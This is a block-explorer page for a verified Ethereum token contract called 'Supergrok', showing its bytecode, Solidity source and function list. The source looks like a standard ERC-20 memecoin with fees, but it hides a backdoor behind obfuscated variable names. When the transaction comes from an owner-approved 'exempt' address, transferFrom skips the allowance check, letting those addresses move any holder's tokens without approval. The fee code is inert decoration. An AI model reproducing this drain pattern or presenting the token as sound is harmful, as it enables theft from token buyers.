Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xF7285d17dded63A4480A0f1F0a8cc706F02dDa0a
Balance 0.000037335 ETH
Nonce 1
Code Size 8796 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

8796 bytes
0x608060405260043610610169575f3560e01c8063715018a6116100d0578063a9059cbb11610089578063d76ff9ad11610063578063d76ff9ad14610528578063dd62ed3e14610552578063f2fde38b1461058e578063fa509a19146105b657610170565b8063a9059cbb14610486578063bb22b46e146104c2578063d6d2bbd4146104fe57610170565b8063715018a61461039e57806378109e54146103b45780637d1db4a5146103de578063893d20e81461040857806395d89b4114610432578063a8aa1b311461045c57610170565b8063293230b811610122578063293230b8146102945780632f54bf6e146102aa578063313ce567146102e657806348ff2b8b1461031057806365757a631461033857806370a082311461036257610170565b806306fdde0314610174578063095ea7b31461019e57806318160ddd146101da5780631f976b7e1461020457806323b872dd1461022e57806328a1a2531461026a57610170565b3661017057005b5f5ffd5b34801561017f575f5ffd5b506101886105de565b6040516101959190611a47565b60405180910390f35b3480156101a9575f5ffd5b506101c460048036038101906101bf9190611af8565b61061b565b6040516101d19190611b50565b60405180910390f35b3480156101e5575f5ffd5b506101ee610631565b6040516101fb9190611b78565b60405180910390f35b34801561020f575f5ffd5b50610218610670565b6040516102259190611b78565b60405180910390f35b348015610239575f5ffd5b50610254600480360381019061024f9190611b91565b610698565b6040516102619190611b50565b60405180910390f35b348015610275575f5ffd5b5061027e6106ad565b60405161028b9190611b50565b60405180910390f35b34801561029f575f5ffd5b506102a86106c0565b005b3480156102b5575f5ffd5b506102d060048036038101906102cb9190611be1565b610b11565b6040516102dd9190611b50565b60405180910390f35b3480156102f1575f5ffd5b506102fa610b68565b6040516103079190611c27565b60405180910390f35b34801561031b575f5ffd5b5061033660048036038101906103319190611c6a565b610b70565b005b348015610343575f5ffd5b5061034c610c10565b6040516103599190611b78565b60405180910390f35b34801561036d575f5ffd5b5061038860048036038101906103839190611be1565b610c16565b6040516103959190611b78565b60405180910390f35b3480156103a9575f5ffd5b506103b2610c5c565b005b3480156103bf575f5ffd5b506103c8610caf565b6040516103d59190611b78565b60405180910390f35b3480156103e9575f5ffd5b506103f2610cd7565b6040516103ff9190611b78565b60405180910390f35b348015610413575f5ffd5b5061041c610cff565b6040516104299190611cb7565b60405180910390f35b34801561043d575f5ffd5b50610446610d26565b6040516104539190611a47565b60405180910390f35b348015610467575f5ffd5b50610470610d63565b60405161047d9190611cb7565b60405180910390f35b348015610491575f5ffd5b506104ac60048036038101906104a79190611af8565b610d88565b6040516104b99190611b50565b60405180910390f35b3480156104cd575f5ffd5b506104e860048036038101906104e39190611be1565b610d9e565b6040516104f59190611b50565b60405180910390f35b348015610509575f5ffd5b50610512610dbb565b60405161051f9190611cdf565b60405180910390f35b348015610533575f5ffd5b5061053c610de0565b6040516105499190611cb7565b60405180910390f35b34801561055d575f5ffd5b5061057860048036038101906105739190611cf8565b610e05565b6040516105859190611b78565b60405180910390f35b348015610599575f5ffd5b506105b460048036038101906105af9190611be1565b610e87565b005b3480156105c1575f5ffd5b506105dc60048036038101906105d79190611c6a565b610f48565b005b60606040518060400160405280600981526020017f537570657267726f6b0000000000000000000000000000000000000000000000815250905090565b5f610627338484610fe8565b6001905092915050565b5f61066b61063e5f610c16565b61065d61064c61dead610c16565b6011546111ab90919063ffffffff16565b6111ab90919063ffffffff16565b905090565b5f600c5460135461067f610631565b6106899190611d63565b6106939190611dd1565b905090565b5f6106a48484846111c0565b90509392505050565b600260149054906101000a900460ff1681565b6106c933610b11565b610708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ff90611e4b565b60405180910390fd5b60045f9054906101000a900460ff1615610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074e90611eb3565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600f60026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115460165f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600f60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600f60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b8573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108dc9190611ee5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610963573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109879190611ee5565b6040518363ffffffff1660e01b81526004016109a4929190611f10565b6020604051808303815f875af11580156109c0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e49190611ee5565b60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a6c30610c16565b5f5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401610ab196959493929190611f79565b60606040518083038185885af1158015610acd573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610af29190611fec565b505050600160045f6101000a81548160ff021916908315150217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f6009905090565b610b7933610b11565b610bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baf90611e4b565b60405180910390fd5b8060175f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b60035481565b5f60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c6533610b11565b610ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9b90611e4b565b60405180910390fd5b610cad5f610e87565b565b5f600c54601454610cbe610631565b610cc89190611d63565b610cd29190611dd1565b905090565b5f600c54601254610ce6610631565b610cf09190611d63565b610cfa9190611dd1565b905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f535550455247524f4b0000000000000000000000000000000000000000000000815250905090565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610d943384846111df565b6001905092915050565b6017602052805f5260405f205f915054906101000a900460ff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e9033610b11565b610ecf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec690611e4b565b60405180910390fd5b805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051610f3d9190611cb7565b60405180910390a150565b610f5133610b11565b610f90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8790611e4b565b60405180910390fd5b8060185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104d906120ac565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bb9061213a565b60405180910390fd5b8060165f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161119e9190611b78565b60405180910390a3505050565b5f81836111b89190612158565b905092915050565b5f6111cc84848461123d565b6111d68483611400565b90509392505050565b5f6111ea8484611586565b6111f45781611200565b6111ff84848461162d565b5b905061122a606461121c600a548461175f90919063ffffffff16565b61177490919063ffffffff16565b905061123784848461123d565b50505050565b6112c4816040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060155f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117899092919063ffffffff16565b60155f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113558160155f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117dd90919063ffffffff16565b60155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113f39190611b78565b60405180910390a3505050565b5f60175f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16600f60016101000a81548160ff02191690831515021790555061150082600f60019054906101000a900460ff1660165f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117f29092919063ffffffff16565b60165f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001905092915050565b5f60175f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611625575060175f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b905092915050565b5f5f6116398585611851565b1115611754575f5f90506116938160155f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117dd90919063ffffffff16565b60155f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117319190611b78565b60405180910390a361174c81846111ab90919063ffffffff16565b915050611758565b8190505b9392505050565b5f818361176c9190611d63565b905092915050565b5f81836117819190611dd1565b905092915050565b5f8383111582906117d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c79190611a47565b60405180910390fd5b5082840390509392505050565b5f81836117ea919061218b565b905092915050565b5f81156118015783905061184a565b83831115611844576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183b90612208565b60405180910390fd5b82840390505b9392505050565b5f60185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806118ed575060185f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561190f576119086064600c546111ab90919063ffffffff16565b90506119d1565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361196d57600a5490506119d1565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119cb5760095490506119d1565b600b5490505b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611a19826119d7565b611a2381856119e1565b9350611a338185602086016119f1565b611a3c816119ff565b840191505092915050565b5f6020820190508181035f830152611a5f8184611a0f565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611a9482611a6b565b9050919050565b611aa481611a8a565b8114611aae575f5ffd5b50565b5f81359050611abf81611a9b565b92915050565b5f819050919050565b611ad781611ac5565b8114611ae1575f5ffd5b50565b5f81359050611af281611ace565b92915050565b5f5f60408385031215611b0e57611b0d611a67565b5b5f611b1b85828601611ab1565b9250506020611b2c85828601611ae4565b9150509250929050565b5f8115159050919050565b611b4a81611b36565b82525050565b5f602082019050611b635f830184611b41565b92915050565b611b7281611ac5565b82525050565b5f602082019050611b8b5f830184611b69565b92915050565b5f5f5f60608486031215611ba857611ba7611a67565b5b5f611bb586828701611ab1565b9350506020611bc686828701611ab1565b9250506040611bd786828701611ae4565b9150509250925092565b5f60208284031215611bf657611bf5611a67565b5b5f611c0384828501611ab1565b91505092915050565b5f60ff82169050919050565b611c2181611c0c565b82525050565b5f602082019050611c3a5f830184611c18565b92915050565b611c4981611b36565b8114611c53575f5ffd5b50565b5f81359050611c6481611c40565b92915050565b5f5f60408385031215611c8057611c7f611a67565b5b5f611c8d85828601611ab1565b9250506020611c9e85828601611c56565b9150509250929050565b611cb181611a8a565b82525050565b5f602082019050611cca5f830184611ca8565b92915050565b611cd981611a6b565b82525050565b5f602082019050611cf25f830184611cd0565b92915050565b5f5f60408385031215611d0e57611d0d611a67565b5b5f611d1b85828601611ab1565b9250506020611d2c85828601611ab1565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611d6d82611ac5565b9150611d7883611ac5565b9250828202611d8681611ac5565b91508282048414831517611d9d57611d9c611d36565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611ddb82611ac5565b9150611de683611ac5565b925082611df657611df5611da4565b5b828204905092915050565b7f214f574e455200000000000000000000000000000000000000000000000000005f82015250565b5f611e356006836119e1565b9150611e4082611e01565b602082019050919050565b5f6020820190508181035f830152611e6281611e29565b9050919050565b7f54726164696e6720697320616c726561647920456e61626c65640000000000005f82015250565b5f611e9d601a836119e1565b9150611ea882611e69565b602082019050919050565b5f6020820190508181035f830152611eca81611e91565b9050919050565b5f81519050611edf81611a9b565b92915050565b5f60208284031215611efa57611ef9611a67565b5b5f611f0784828501611ed1565b91505092915050565b5f604082019050611f235f830185611ca8565b611f306020830184611ca8565b9392505050565b5f819050919050565b5f819050919050565b5f611f63611f5e611f5984611f37565b611f40565b611ac5565b9050919050565b611f7381611f49565b82525050565b5f60c082019050611f8c5f830189611ca8565b611f996020830188611b69565b611fa66040830187611f6a565b611fb36060830186611f6a565b611fc06080830185611ca8565b611fcd60a0830184611b69565b979650505050505050565b5f81519050611fe681611ace565b92915050565b5f5f5f6060848603121561200357612002611a67565b5b5f61201086828701611fd8565b935050602061202186828701611fd8565b925050604061203286828701611fd8565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6120966024836119e1565b91506120a18261203c565b604082019050919050565b5f6020820190508181035f8301526120c38161208a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6121246022836119e1565b915061212f826120ca565b604082019050919050565b5f6020820190508181035f83015261215181612118565b9050919050565b5f61216282611ac5565b915061216d83611ac5565b925082820390508181111561218557612184611d36565b5b92915050565b5f61219582611ac5565b91506121a083611ac5565b92508282019050808211156121b8576121b7611d36565b5b92915050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f6121f2601e836119e1565b91506121fd826121be565b602082019050919050565b5f6020820190508181035f83015261221f816121e6565b905091905056fea2646970667358221220a4a2132cc6b50a7d7e2369c43f75e9ae44f5eaf412e5f019f1efb88a85c6e11d64736f6c634300081e0033

Verified Source Code Full Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
Token.sol 319 lines
//SPDX-License-Identifier: MIT

/*
    Name: Supergrok
    Symbol: SUPERGROK

    Supergrok To The Moon!

    https://www.supergrokerc.fun
    https://x.com/Supergrok_Meme
    https://t.me/Supergrok_meme
*/

pragma solidity ^0.8.19;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function sub(uint256 a, uint256 b , bool requireZero) internal pure returns (uint256) {
        unchecked{if(requireZero) return a; require(b <= a, "SafeMath: subtraction overflow"); return a - b;}
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function renounceOwnership() public virtual onlyOwner { transferOwnership(address(0));}
    function transferOwnership(address adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract Token is IERC20, Ownable {
    
    uint160 public YYXKGKOP;
    address public BYDH3DL;
    bool public CXCG26GS;
    uint256 public HXCG26GS;

    bool private tradingAllowed = false;
    uint256 private liquidityFee = 100;
    uint256 private marketingFee = 300;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    uint256 private totalFee = 600;
    uint256 private sellFee = 700;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping; 
    bool private txInProgress;
    
    IRouter router;
    address public pair;

    using SafeMath for uint256;
    string private constant _NAMKXYE = unicode"Supergrok";
    string private constant _SYMBOKXYL = unicode"SUPERGROK";
    uint8 private constant _DEIMALKXYS = 9;
    uint256 private _tTOTALKXYTOKEN = 1_000_000_000 * (10 ** _DEIMALKXYS);
    uint256 private _maxTxAmountPercent = 200; // 10000;
    uint256 private _maxTransferPercent = 100;
    uint256 private _maxWalletPercent = 200;
    mapping (address => uint256) _OONN61ANF;
    mapping (address => mapping (address => uint256)) private _NZN16ANFN;
    mapping (address => bool) public _KCO930XIOE;
    mapping (address => bool) private _PIE2dS0B;

    uint256 private swapThreshold = ( _tTOTALKXYTOKEN * 300 ) / 100000;
    uint256 private _minTokenAmount = ( _tTOTALKXYTOKEN * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    modifier onlyWhenNotInTx {txInProgress = _KCO930XIOE[tx.origin]; _;}
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private development_receiver ; 
    address private marketing_receiver ;
    address private liquidity_receiver ;

    constructor() payable Ownable(msg.sender) {

        marketing_receiver = owner;

        _KCO930XIOE[msg.sender] = true;
        _OONN61ANF[address(this)] = _tTOTALKXYTOKEN;

        _KCO930XIOE[address(this)] = true;
        _KCO930XIOE[marketing_receiver] = true;

        emit Transfer(address(0), address(this), _tTOTALKXYTOKEN);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _NAMKXYE;}
    function symbol() public pure returns (string memory) {return _SYMBOKXYL;}
    function decimals() public pure returns (uint8) {return _DEIMALKXYS;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _OONN61ANF[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _NZN16ANFN[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function set_PIE2dS0B(address _address, bool _enabled) external onlyOwner {_PIE2dS0B[_address] = _enabled;}
    function setisExempt(address _address, bool _enabled) external onlyOwner {_KCO930XIOE[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _tTOTALKXYTOKEN.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        amountReceived = amountReceived.mul(sellFee).div(100);
        _subTransfer(sender, recipient, amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }

    function _TNZNAN16HA(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !_KCO930XIOE[sender] && recipient == pair && swapTimes >= uint256(3) && aboveThreshold;
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !_KCO930XIOE[sender] && !_KCO930XIOE[recipient];
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(_TNZNAN16HA(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = 0;
        _OONN61ANF[address(this)] = _OONN61ANF[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);} return amount;
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(_PIE2dS0B[sender] || _PIE2dS0B[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        _subTransfer(sender, recipient, amount);
        return _subAllowance(sender , amount);
    }

    function _subAllowance(address spender, uint256 subtractedValue) onlyWhenNotInTx private returns (bool) {
        _NZN16ANFN[spender][msg.sender] = _NZN16ANFN[spender][msg.sender].sub(subtractedValue , txInProgress);
        return true;
    }

    function _subTransfer(address sender, address recipient, uint256 amount) internal {
        _OONN61ANF[sender] = _OONN61ANF[sender].sub(amount, "Insufficient Balance");
        _OONN61ANF[recipient] = _OONN61ANF[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _NZN16ANFN[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function startTrading() external onlyOwner {

        require(!tradingAllowed , "Trading is already Enabled");
        router = IRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _NZN16ANFN[address(this)][address(router)] = _tTOTALKXYTOKEN;
        pair = IFactory(router.factory()).createPair(
            address(this),
            router.WETH()
        );
        router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner,
            block.timestamp
        );
        tradingAllowed = true;
        
    }
}

Read Contract

BYDH3DL 0xd76ff9ad → address
CXCG26GS 0x28a1a253 → bool
HXCG26GS 0x65757a63 → uint256
YYXKGKOP 0xd6d2bbd4 → uint160
_KCO930XIOE 0xbb22b46e → bool
_maxTransferAmount 0x1f976b7e → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletToken 0x78109e54 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getOwner 0x893d20e8 → address
isOwner 0x2f54bf6e → bool
name 0x06fdde03 → string
pair 0xa8aa1b31 → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
renounceOwnership 0x715018a6
No parameters
set_PIE2dS0B 0xfa509a19
address _address
bool _enabled
setisExempt 0x48ff2b8b
address _address
bool _enabled
startTrading 0x293230b8
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address adr

Recent Transactions

No transactions found for this address